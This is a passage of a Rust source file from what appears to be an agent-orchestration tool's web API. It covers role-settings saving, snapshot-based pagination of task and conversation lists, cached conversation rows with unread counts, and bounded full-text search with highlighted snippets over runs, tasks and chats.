5380/// `PUT /api/settings/roles` - save role assignments to the machine config.
5381///
5382/// The write target is `ui.machine_config` and nothing in the body can change
5383/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5384/// 422 with the reason in words.
5385async fn settings_put_roles(
5386    State(ui): State<Arc<Ui>>,
5387    Query(q): Query<SettingsQuery>,
5388    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5389) -> ApiResult<Json<settings::SettingsView>> {
5390    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5391    blocking(move || {
5392        let (repo, known) = settings_context(&ui, q)?;
5393        settings::save_with_repos(
5394            &repo,
5395            ui.machine_config.as_deref(),
5396            &body.revision,
5397            &body.roles,
5398            &body.counts,
5399            &known,
5400        )
5401        .map(Json)
5402        .map_err(|e| match e {
5403            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5404            settings::SaveError::Refused(m) => ApiError {
5405                text_reason: None,
5406                status: StatusCode::UNPROCESSABLE_ENTITY,
5407                message: m,
5408            },
5409            settings::SaveError::Internal(m) => ApiError::internal(m),
5410        })
5411    })
5412    .await
5413}
5414
5415async fn queue_list(
5416    State(ui): State<Arc<Ui>>,
5417    Query(q): Query<ListQuery>,
5418) -> ApiResult<Json<Vec<TaskView>>> {
5419    blocking(move || {
5420        let tasks = ui.queue.list();
5421        let inv =
5422            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5423        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5424        Ok(Json(
5425            tasks
5426                .into_iter()
5427                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5428                .map(|t| {
5429                    TaskView::with_inventory(t, &inv).with_admission(
5430                        &admission,
5431                        &ui.queue,
5432                        Some(&inv),
5433                        &ui.home,
5434                    )
5435                })
5436                .collect(),
5437        ))
5438    })
5439    .await
5440}
5441
5442/// History pages read a bounded number of records; the first conversation
5443/// page also includes every open talk. Cursors advance through a frozen snapshot,
5444/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5445/// Concurrent inserts are reconciled by a trailing store refresh.
5446#[derive(Debug, Default, Deserialize)]
5447struct PageQuery {
5448    before: Option<String>,
5449}
5450
5451#[derive(Serialize)]
5452struct StorePage<T> {
5453    rows: Vec<T>,
5454    next: Option<String>,
5455}
5456
5457const STORE_PAGE_SIZE: usize = 16;
5458
5459/// Freeze membership and the initial open/history boundary for a cursor walk.
5460/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5461/// the next store revision. Never rescan the entire directory for every page.
5462#[derive(Debug)]
5463struct ListWalk {
5464    token: u64,
5465    talks: bool,
5466    opened: std::time::Instant,
5467    ids: Arc<Vec<String>>,
5468    initial_end: usize,
5469}
5470
5471/// Read only the bounded goal header. Legacy layouts with goals after turns
5472/// are classified when their ordinary paginated row is loaded.
5473fn read_owner_goal(reader: impl std::io::Read) -> bool {
5474    use serde::de::{IgnoredAny, MapAccess, Visitor};
5475    struct Header<'a>(&'a mut bool);
5476    impl<'de> Visitor<'de> for Header<'_> {
5477        type Value = ();
5478        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
5479            f.write_str("conversation goals")
5480        }
5481        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<(), A::Error> {
5482            while let Some(key) = map.next_key::<String>()? {
5483                if key == "turns" {
5484                    return Err(serde::de::Error::custom("transcript boundary"));
5485                }
5486                if key == "goals" {
5487                    let goals: Vec<crate::chat_goal::Goal> = map.next_value()?;
5488                    *self.0 = crate::chat_status::Goals::of(&goals).owner > 0;
5489                    return Err(serde::de::Error::custom("goals read"));
5490                }
5491                map.next_value::<IgnoredAny>()?;
5492            }
5493            Ok(())
5494        }
5495    }
5496    let mut owner = false;
5497    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
5498    let mut json = serde_json::Deserializer::from_reader(reader);
5499    let _ = serde::Deserializer::deserialize_map(&mut json, Header(&mut owner));
5500    owner
5501}
5502
5503fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5504    page_ids_with(ui, talks, q, |ui, ids| {
5505        // A conversation owing the owner a decision is listed with the open
5506        // ones even when closed, so the Needs owner filter never depends on
5507        // walking closed history.
5508        let mut open = open_talk_ids(ui, ids);
5509        let inventory = chat_inventory(ui);
5510        let owing = inventory.needs_owner();
5511        open.extend(ids.iter().filter(|id| owing.contains(id.as_str())).cloned());
5512        let mut goals = ui
5513            .monitor
5514            .closed_goal_index
5515            .lock()
5516            .unwrap_or_else(PoisonError::into_inner);
5517        let present: HashSet<_> = ids.iter().collect();
5518        goals.retain(|id, _| present.contains(id));
5519        for id in ids {
5520            if open.contains(id) {
5521                continue;
5522            }
5523            let path = ui.talks.path_of(id);
5524            let identity = goal_identity(&path).ok();
5525            let owner = if let Some((old, owner)) = goals.get(id)
5526                && identity.as_ref() == Some(old)
5527            {
5528                *owner
5529            } else {
5530                let owner = std::fs::File::open(&path).ok().is_some_and(read_owner_goal);
5531                if let Some(identity) = identity
5532                    && goal_identity(&path).is_ok_and(|after| after == identity)
5533                {
5534                    goals.insert(id.clone(), (identity, owner));
5535                }
5536                owner
5537            };
5538            if owner {
5539                open.insert(id.clone());
5540            }
5541        }
5542        open
5543    })
5544}
5545
5546fn page_ids_with(
5547    ui: &Ui,
5548    talks: bool,
5549    q: PageQuery,
5550    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5551) -> ApiResult<(Vec<String>, Option<String>)> {
5552    let mut walks = ui
5553        .monitor
5554        .list_walks
5555        .lock()
5556        .unwrap_or_else(PoisonError::into_inner);
5557    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5558    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5559        let (token, offset) = cursor
5560            .split_once(':')
5561            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5562        let token = token
5563            .parse::<u64>()
5564            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5565        let offset = offset
5566            .parse::<usize>()
5567            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5568        let walk = walks
5569            .iter()
5570            .find(|walk| walk.token == token && walk.talks == talks)
5571            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5572        (token, walk.ids.clone(), offset, walk.initial_end)
5573    } else {
5574        // Header I/O must not hold the snapshot registry shared with queue
5575        // pagination or with clients continuing an existing history walk.
5576        drop(walks);
5577        let root = if talks {
5578            ui.talks.root()
5579        } else {
5580            ui.queue.root()
5581        };
5582        let mut ids = crate::queue::record_ids(root, "json")?;
5583        ids.sort_unstable_by(|a, b| b.cmp(a));
5584        let initial_end = if talks {
5585            let open = classify(ui, &ids);
5586            // Stable partition: ID order is only the existing membership order,
5587            // never a substitute for the UI's creation-time ordering.
5588            ids.sort_by_key(|id| !open.contains(id));
5589            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5590        } else {
5591            STORE_PAGE_SIZE.min(ids.len())
5592        };
5593        let ids = Arc::new(ids);
5594        walks = ui
5595            .monitor
5596            .list_walks
5597            .lock()
5598            .unwrap_or_else(PoisonError::into_inner);
5599        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5600        let mut token = crate::rng::entropy();
5601        while walks.iter().any(|walk| walk.token == token) {
5602            token = crate::rng::entropy();
5603        }
5604        // Four clients can enumerate both stores and overlap a refresh. Bound
5605        // retained membership snapshots; an evicted cursor explicitly retries.
5606        if walks.len() >= 16 {
5607            walks.remove(0);
5608        }
5609        walks.push(ListWalk {
5610            token,
5611            talks,
5612            opened: std::time::Instant::now(),
5613            ids: ids.clone(),
5614            initial_end,
5615        });
5616        (token, ids, 0, initial_end)
5617    };
5618    if offset > ids.len() {
5619        return Err(ApiError::bad_request("Invalid list cursor"));
5620    }
5621    let end = if offset == 0 {
5622        initial_end
5623    } else {
5624        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5625    };
5626    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5627    Ok((ids[offset..end].to_vec(), next))
5628}
5629
5630async fn queue_page(
5631    State(ui): State<Arc<Ui>>,
5632    Query(q): Query<PageQuery>,
5633) -> ApiResult<Json<StorePage<TaskView>>> {
5634    blocking(move || {
5635        let (ids, next) = page_ids(&ui, false, q)?;
5636        let tasks: Vec<_> = ids
5637            .into_iter()
5638            .filter_map(|id| ui.queue.get(&id).ok())
5639            .collect();
5640        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5641        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5642        let rows = tasks
5643            .into_iter()
5644            .map(|task| {
5645                TaskView::with_inventory(task, &inv).with_admission(
5646                    &admission,
5647                    &ui.queue,
5648                    Some(&inv),
5649                    &ui.home,
5650                )
5651            })
5652            .collect();
5653        Ok(Json(StorePage { rows, next }))
5654    })
5655    .await
5656}
5657
5658/// Fixed-size wire projection. Agent timestamps stay in the server index so
5659/// exact unread counts do not require sending an ever-growing turn list.
5660#[derive(Debug, Clone, Serialize)]
5661struct TalkListView {
5662    title: Option<talk::ChatTitle>,
5663    id: String,
5664    repo: PathBuf,
5665    agent: String,
5666    status: talk::TalkStatus,
5667    turns: Vec<TalkListTurn>,
5668    turn_count: usize,
5669    unread_count: usize,
5670    context: talk::ContextUsage,
5671    #[serde(skip)]
5672    agent_times: Vec<Timestamp>,
5673    #[serde(skip)]
5674    goals: crate::chat_status::Goals,
5675    thinking: bool,
5676    /// Display-only triage state derived from durable evidence.
5677    chat_status: crate::chat_status::ChatStatus,
5678    created_at: Timestamp,
5679    updated_at: Timestamp,
5680}
5681
5682#[derive(Debug, Clone, Serialize)]
5683struct TalkListTurn {
5684    who: talk::Who,
5685    at: Timestamp,
5686    body: String,
5687}
5688
5689/// Shared status evidence. Keyed by the monitor's queue, question, decision and
5690/// loop revisions so a list read never re-parses the stores unless one moved;
5691/// without a published revision (before the first scan) it is built per call.
5692fn chat_inventory(ui: &Ui) -> Arc<crate::chat_status::Inventory> {
5693    let unreadable = ui
5694        .monitor
5695        .chat_sources_unreadable
5696        .load(std::sync::atomic::Ordering::Acquire);
5697    let key = ui
5698        .monitor
5699        .latest
5700        .lock()
5701        .unwrap_or_else(PoisonError::into_inner)
5702        .as_ref()
5703        .map(|(revisions, _)| *revisions);
5704    if !unreadable
5705        && let Some(key) = key
5706        && let Some((cached, inventory)) = ui
5707            .monitor
5708            .chat_inventory
5709            .lock()
5710            .unwrap_or_else(PoisonError::into_inner)
5711            .as_ref()
5712        && *cached == key
5713    {
5714        return Arc::clone(inventory);
5715    }
5716    let tasks = ui.queue.list();
5717    let questions = ui.questions.list();
5718    let mut inventory = crate::chat_status::Inventory::collect(&ui.home, &tasks, &questions);
5719    if unreadable
5720        || crate::queue::record_ids(ui.queue.root(), "json")
5721            .map_or(true, |ids| ids.len() > tasks.len())
5722        || crate::queue::record_ids(ui.questions.root(), "json")
5723            .map_or(true, |ids| ids.len() > questions.len())
5724    {
5725        inventory.mark_unreadable();
5726    }
5727    let inventory = Arc::new(inventory);
5728    if !unreadable && let Some(key) = key {
5729        *ui.monitor
5730            .chat_inventory
5731            .lock()
5732            .unwrap_or_else(PoisonError::into_inner) = Some((key, Arc::clone(&inventory)));
5733    }
5734    inventory
5735}
5736
5737fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5738    let reads: HashMap<String, Timestamp> = headers
5739        .get("x-talk-reads")
5740        .and_then(|v| v.to_str().ok())
5741        .and_then(|v| serde_json::from_str(v).ok())
5742        .unwrap_or_default();
5743    let inventory = chat_inventory(ui);
5744    let mut index = ui
5745        .monitor
5746        .talk_index
5747        .lock()
5748        .unwrap_or_else(PoisonError::into_inner);
5749    // Bound memory independently of the number of conversations ever opened.
5750    if index.len() > 1000 {
5751        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5752        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5753        if index.len() > 1000 {
5754            index.retain(|id, _| keep.contains(id.as_str()));
5755        }
5756    }
5757    ids.into_iter()
5758        .filter_map(|id| {
5759            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5760            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5761                let talk = ui.talks.get(&id).ok()?;
5762                #[cfg(test)]
5763                ui.monitor
5764                    .talk_parses
5765                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5766                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5767                let last = talk.turns.len().checked_sub(1);
5768                let turns = talk
5769                    .turns
5770                    .iter()
5771                    .enumerate()
5772                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5773                    .map(|(_, t)| TalkListTurn {
5774                        who: t.who,
5775                        at: t.at,
5776                        body: t
5777                            .body
5778                            .lines()
5779                            .next()
5780                            .unwrap_or_default()
5781                            .chars()
5782                            .take(240)
5783                            .collect(),
5784                    })
5785                    .collect();
5786                let row = TalkListView {
5787                    title: talk.title.clone(),
5788                    agent_times: talk
5789                        .turns
5790                        .iter()
5791                        .filter(|t| t.who == talk::Who::Agent)
5792                        .map(|t| t.at)
5793                        .collect(),
5794                    turn_count: talk.turns.len(),
5795                    goals: crate::chat_status::Goals::of(&talk.goals),
5796                    chat_status: crate::chat_status::ChatStatus::placeholder(),
5797                    unread_count: 0,
5798                    context: talk::context_usage(&talk, None),
5799                    turns,
5800                    thinking: false,
5801                    id: talk.id,
5802                    repo: talk.repo,
5803                    agent: talk.agent,
5804                    status: talk.status,
5805                    created_at: talk.created_at,
5806                    updated_at: talk.updated_at,
5807                };
5808                index.insert(id.clone(), (identity, row));
5809            }
5810            let row = &index.get(&id)?.1;
5811            let mut row = TalkListView {
5812                title: row.title.clone(),
5813                unread_count: row
5814                    .agent_times
5815                    .iter()
5816                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5817                    .count(),
5818                agent_times: Vec::new(),
5819                goals: row.goals,
5820                chat_status: row.chat_status.clone(),
5821                id: row.id.clone(),
5822                repo: row.repo.clone(),
5823                agent: row.agent.clone(),
5824                status: row.status,
5825                context: row.context.clone(),
5826                turns: row.turns.clone(),
5827                turn_count: row.turn_count,
5828                thinking: false,
5829                created_at: row.created_at,
5830                updated_at: row.updated_at,
5831            };
5832            let turn_held = ui.talks.turn_held(&id);
5833            row.thinking = turn_held || inventory.busy(&id);
5834            row.chat_status = inventory.status_of(&id, row.status.open(), row.goals, turn_held);
5835            Some(row)
5836        })
5837        .collect()
5838}
5839
5840async fn talks_page(
5841    State(ui): State<Arc<Ui>>,
5842    Query(q): Query<PageQuery>,
5843    headers: header::HeaderMap,
5844) -> ApiResult<Json<StorePage<TalkListView>>> {
5845    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5846        let (ids, next) = page_ids(&ui, true, q)?;
5847        Ok(Json(StorePage {
5848            rows: talk_rows(&ui, ids, &headers),
5849            next,
5850        }))
5851    })
5852    .await
5853}
5854
5855async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5856    blocking(move || {
5857        let tasks = ui.indexed_tasks()?;
5858        Ok(Json(TaskCountsView::from(
5859            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5860        )))
5861    })
5862    .await
5863}
5864
5865/// Most hits one search returns. The rest are counted in `total`.
5866const SEARCH_MAX_HITS: usize = 100;
5867/// Longest query, in characters, and most terms it is split into.
5868const SEARCH_MAX_QUERY: usize = 200;
5869const SEARCH_MAX_TERMS: usize = 8;
5870/// Characters of context kept before the first hit, and after it.
5871const SNIPPET_BEFORE: usize = 50;
5872const SNIPPET_AFTER: usize = 110;
5873
5874/// `?scope=runs|tasks&q=...`
5875#[derive(Debug, Deserialize)]
5876struct SearchQuery {
5877    #[serde(default)]
5878    scope: String,
5879    #[serde(default)]
5880    q: String,
5881}
5882
5883/// One piece of a snippet. `hit` pieces are what matched; the client renders
5884/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5885#[derive(Debug, Serialize, PartialEq, Eq)]
5886struct SnippetPart {
5887    text: String,
5888    hit: bool,
5889}
5890
5891/// Position plus transcript evidence, without changing the saved chat schema.
5892#[derive(Debug, Serialize)]
5893struct ChatSearchTarget {
5894    turn: usize,
5895    message: usize,
5896    at: String,
5897    text: String,
5898}
5899
5900fn chat_text_key(body: &str) -> String {
5901    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5902        (hash ^ u32::from(c)).wrapping_mul(16777619)
5903    });
5904    format!("{hash:08x}:{}", body.chars().count())
5905}
5906
5907#[derive(Debug, Serialize)]
5908struct SearchHit {
5909    #[serde(skip_serializing_if = "Option::is_none")]
5910    target: Option<ChatSearchTarget>,
5911    id: String,
5912    /// The name of the field the snippet was cut from.
5913    field: String,
5914    snippet: Vec<SnippetPart>,
5915    /// The run's list row, so the page can apply its state / section / repo
5916    /// filters to a hit outside the loaded window. Absent for tasks and for a
5917    /// run record the list view cannot read.
5918    #[serde(skip_serializing_if = "Option::is_none")]
5919    run: Option<RunSummary>,
5920}
5921
5922#[derive(Debug, Serialize)]
5923struct SearchView {
5924    scope: String,
5925    q: String,
5926    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5927    hits: Vec<SearchHit>,
5928    /// Every match, hits beyond the cap included.
5929    total: usize,
5930    truncated: bool,
5931    /// Runs whose `run.json` could not be parsed at all. They were not
5932    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5933    unreadable: usize,
5934}
5935
5936/// The text leaves of a JSON document, with the name of the field each sits
5937/// under. Keys and numbers are skipped: they are structure, not prose.
5938fn text_leaves<'a>(
5939    value: &'a serde_json::Value,
5940    field: &'a str,
5941    out: &mut Vec<(&'a str, &'a str)>,
5942) {
5943    match value {
5944        serde_json::Value::String(s) => out.push((field, s)),
5945        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5946        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5947        _ => {}
5948    }
5949}
5950
5951/// Lower-case one character without changing how many there are, so indices
5952/// in the lowered text are indices in the original.
5953fn fold_char(c: char) -> char {
5954    c.to_lowercase().next().unwrap_or(c)
5955}
5956
5957/// Split a query into its lower-cased terms.
5958fn search_terms(q: &str) -> Vec<String> {
5959    let mut terms: Vec<String> = Vec::new();
5960    for t in q.split_whitespace() {
5961        let t = t.to_lowercase();
5962        if !terms.contains(&t) {
5963            terms.push(t);
5964        }
5965    }
5966    terms
5967}
5968
5969/// Match `terms` (all of them, anywhere in the document) against the leaves
5970/// and cut a snippet around the first hit. `None` when a term is missing.
5971fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5972    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5973    let mut first: Option<usize> = None;
5974    for term in terms {
5975        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5976        first = Some(first.map_or(at, |f| f.min(at)));
5977    }
5978    // The leaf holding the earliest hit of any term is where the snippet is cut.
5979    let (field, text) = leaves[first?];
5980    Some(SearchHit {
5981        id: String::new(),
5982        target: None,
5983        field: field.to_owned(),
5984        snippet: snippet_of(text, terms),
5985        run: None,
5986    })
5987}
5988
5989/// A window of `text` around the first occurrence of any term, whitespace
5990/// collapsed, with every term occurrence inside the window marked.
5991fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5992    let chars: Vec<char> = text.chars().collect();
5993    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5994    let needles: Vec<Vec<char>> = terms
5995        .iter()
5996        .map(|t| t.chars().map(fold_char).collect())
5997        .collect();
5998    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5999        let mut best: Option<(usize, usize)> = None;
6000        for n in needles.iter().filter(|n| !n.is_empty()) {
6001            // `to` bounds where a match may start; it may run past `to` (the
6002            // caller clips what it shows). A term longer than the field cannot
6003            // occur in it (it may live in another leaf of the document).
6004            if n.len() > chars.len() || to == 0 {
6005                continue;
6006            }
6007            let last = (to - 1).min(chars.len() - n.len());
6008            if from > last {
6009                continue;
6010            }
6011            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
6012                && best.is_none_or(|(b, _)| i < b)
6013            {
6014                best = Some((i, i + n.len()));
6015            }
6016        }
6017        best
6018    };
6019    let Some((start, _)) = find(0, chars.len()) else {
6020        // Matched only through a case mapping that changes length: show the head.
6021        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
6022        return vec![SnippetPart {
6023            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
6024            hit: false,
6025        }];
6026    };
6027    let lo = start.saturating_sub(SNIPPET_BEFORE);
6028    let hi = (start + SNIPPET_AFTER).min(chars.len());
6029    let mut parts: Vec<SnippetPart> = Vec::new();
6030    let mut push = |s: &[char], hit: bool| {
6031        if s.is_empty() {
6032            return;
6033        }
6034        let text: String = s.iter().collect();
6035        match parts.last_mut() {
6036            Some(p) if p.hit == hit => p.text.push_str(&text),
6037            _ => parts.push(SnippetPart { text, hit }),
6038        }
6039    };
6040    if lo > 0 {
6041        push(&['\u{2026}'], false);
6042    }
6043    let mut at = lo;
6044    while at < hi {
6045        match find(at, hi) {
6046            Some((s, e)) => {
6047                push(&chars[at..s], false);
6048                // A match running past the window is shown up to its edge.
6049                let shown = e.min(hi);
6050                push(&chars[s..shown], true);
6051                at = shown;
6052            }
6053            None => {
6054                push(&chars[at..hi], false);
6055                at = hi;
6056            }
6057        }
6058    }
6059    if hi < chars.len() {
6060        push(&['\u{2026}'], false);
6061    }
6062    // Collapse whitespace (newlines in an instruction) without disturbing the
6063    // hit boundaries.
6064    let mut prev_space = false;
6065    for p in &mut parts {
6066        let mut out = String::with_capacity(p.text.len());
6067        for c in p.text.chars() {
6068            if c.is_whitespace() {
6069                if !prev_space {
6070                    out.push(' ');
6071                }
6072                prev_space = true;
6073            } else {
6074                out.push(c);
6075                prev_space = false;
6076            }
6077        }
6078        p.text = out;
6079    }
6080    parts.retain(|p| !p.text.is_empty());
6081    parts
6082}
6083
6084/// The search over `docs` (id, document), newest first, capped.
6085fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
6086where
6087    I: IntoIterator<Item = (String, serde_json::Value)>,
6088{
6089    for (id, doc) in docs {
6090        let mut leaves = Vec::new();
6091        // The id is text an operator types too, and it is a map key on disk,
6092        // not a leaf.
6093        leaves.push(("id", id.as_str()));
6094        text_leaves(&doc, "", &mut leaves);
6095        if let Some(mut hit) = search_document(terms, &leaves) {
6096            view.total += 1;
6097            if view.hits.len() < SEARCH_MAX_HITS {
6098                hit.id = id;
6099                view.hits.push(hit);
6100            }
6101        }
6102    }
6103    view.truncated = view.total > view.hits.len();
6104}
6105
6106/// What a conversation is searched by: its list title and each turn's text,
6107/// under their sender labels so the snippet says who spoke. Nothing else
6108/// (session ids, repo paths, usage, drafts) is part of the document.
6109///
6110/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
6111fn talk_search_doc(talk: &Talk) -> serde_json::Value {
6112    let opener = talk
6113        .title
6114        .as_ref()
6115        .filter(|t| !t.text.is_empty())
6116        .map(|t| t.text.as_str())
6117        .or_else(|| {
6118            talk.turns
6119                .iter()
6120                .find(|t| t.who == talk::Who::Operator)
6121                .map(|t| t.body.as_str())
6122        })
6123        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
6124        .unwrap_or("");
6125    let title: String = if opener.chars().count() > 96 {
6126        opener.chars().take(95).chain(['\u{2026}']).collect()
6127    } else {
6128        opener.to_owned()
6129    };
6130    let turns: Vec<serde_json::Value> = talk
6131        .turns
6132        .iter()
6133        .flat_map(|t| {
6134            let label = |message| match talk::sender(t, message) {
6135                talk::Sender::External => "external",
6136                _ => match t.who {
6137                    talk::Who::Operator => "operator",
6138                    talk::Who::Agent => "agent",
6139                },
6140            };
6141            if t.messages.is_empty() {
6142                vec![serde_json::json!({ label(None): t.body })]
6143            } else {
6144                t.messages
6145                    .iter()
6146                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
6147                    .collect()
6148            }
6149        })
6150        .collect();
6151    serde_json::json!({ "title": title, "turns": turns })
6152}
6153
6154fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
6155    let doc = talk_search_doc(talk);
6156    let mut leaves = vec![("id", talk.id.as_str())];
6157    text_leaves(&doc, "", &mut leaves);
6158    let mut hit = search_document(terms, &leaves)?;
6159    // Use exactly the leaf that supplied the snippet, including title/id hits.
6160    let leaf = leaves
6161        .iter()
6162        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
6163    let messages: Vec<_> = talk
6164        .turns
6165        .iter()
6166        .enumerate()
6167        .flat_map(|(i, turn)| {
6168            let bodies: Vec<&str> = if turn.messages.is_empty() {
6169                vec![turn.body.as_str()]
6170            } else {
6171                turn.messages.iter().map(|m| m.body.as_str()).collect()
6172            };
6173            bodies
6174                .into_iter()
6175                .enumerate()
6176                .map(move |(j, body)| (i, j, turn, body))
6177        })
6178        .collect();
6179    let target = leaf
6180        .checked_sub(2)
6181        .and_then(|i| messages.get(i))
6182        .or_else(|| {
6183            // An unsaved title is the opener's first nonempty line, so its
6184            // snippet still identifies a transcript message. Saved titles do not.
6185            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
6186                return None;
6187            }
6188            let (index, opener) = talk
6189                .turns
6190                .iter()
6191                .enumerate()
6192                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
6193            let line = opener
6194                .body
6195                .lines()
6196                .map(str::trim)
6197                .find(|line| !line.is_empty())?;
6198            messages.iter().find(|(i, _, _, body)| {
6199                *i == index
6200                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
6201            })
6202        });
6203    if let Some((i, j, turn, body)) = target {
6204        hit.target = Some(ChatSearchTarget {
6205            turn: *i,
6206            message: *j,
6207            at: turn.at.to_string(),
6208            text: chat_text_key(body),
6209        });
6210    }
6211    hit.id = talk.id.clone();
6212    Some(hit)
6213}
6214
6215/// Read-only full-text search over every run's `run.json`, every task or every
6216/// conversation (title and transcript).
6217///
6218/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
6219/// record from an older schema still searches; only a file that is not JSON
6220/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
6221async fn search_get(
6222    State(ui): State<Arc<Ui>>,
6223    Query(q): Query<SearchQuery>,
6224) -> ApiResult<Json<SearchView>> {
6225    let query = q.q.trim().to_owned();
6226    if query.is_empty() {
6227        return Err(ApiError::bad_request("q must not be empty"));
6228    }
6229    if query.chars().count() > SEARCH_MAX_QUERY {
6230        return Err(ApiError::bad_request(format!(
6231            "q is longer than {SEARCH_MAX_QUERY} characters"
6232        )));
6233    }
6234    let terms = search_terms(&query);
6235    if terms.len() > SEARCH_MAX_TERMS {
6236        return Err(ApiError::bad_request(format!(
6237            "q has more than {SEARCH_MAX_TERMS} terms"
6238        )));
6239    }
6240    let scope = q.scope;
6241    if scope != "runs" && scope != "tasks" && scope != "chats" {
6242        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
6243    }
6244    blocking(move || {
6245        let mut view = SearchView {
6246            scope: scope.clone(),
6247            q: query,
6248            hits: Vec::new(),
6249            total: 0,
6250            truncated: false,
6251            unreadable: 0,
6252        };
6253        if scope == "runs" {
6254            let mut unreadable = 0;
6255            // One run.json is read, matched and dropped at a time; nothing
6256            // holds the whole history. The scan runs to the end even past the
6257            // hit cap so `total` and `unreadable` stay exact.
6258            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6259                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6260                match body.and_then(|b| serde_json::from_str(&b).ok()) {
6261                    Some(v) => Some((id, v)),
6262                    None => {
6263                        unreadable += 1;
6264                        None
6265                    }
6266                }
6267            });
6268            search_docs(&terms, docs, &mut view);
6269            view.unreadable = unreadable;
6270            // Only the capped hits get a row: the filters need a run's state,
6271            // and reading every match would be the whole history again.
6272            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6273            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6274            for hit in &mut view.hits {
6275                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6276                    hit.run = summarize(
6277                        [state],
6278                        &open_runs,
6279                        &claimed,
6280                        &superseded,
6281                        |p| probe.borrow_mut().status(p),
6282                        |p| probe.borrow_mut().started_at(p),
6283                    )
6284                    .pop();
6285                }
6286            }
6287        } else if scope == "chats" {
6288            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6289            view.unreadable = unreadable;
6290            for talk in &talks {
6291                if let Some(hit) = search_chat(&terms, talk) {
6292                    view.total += 1;
6293                    if view.hits.len() < SEARCH_MAX_HITS {
6294                        view.hits.push(hit);
6295                    }
6296                }
6297            }
6298            view.truncated = view.total > view.hits.len();
6299        } else {
6300            let docs = ui.queue.list().into_iter().filter_map(|t| {
6301                let mut v = serde_json::to_value(&t).ok()?;
6302                // `source` serialises as a tagged object; the label is what
6303                // the operator reads ("human", "chat@a1b2").
6304                if let Some(o) = v.as_object_mut() {
6305                    o.insert("filed_by".to_owned(), t.source.label().into());
6306                }
6307                Some((t.id, v))
6308            });
6309            search_docs(&terms, docs, &mut view);
6310        }
6311        Ok(Json(view))
6312    })
6313    .await
6314}
6315
6316/// One attempt in a task's history, as the task page lists it.
6317#[derive(Debug, Serialize)]
6318struct TaskRunView {
6319    activity: Option<String>,
6320    /// 1-based position in [`Task::runs`].
6321    n: usize,
6322    id: String,
6323    short: String,
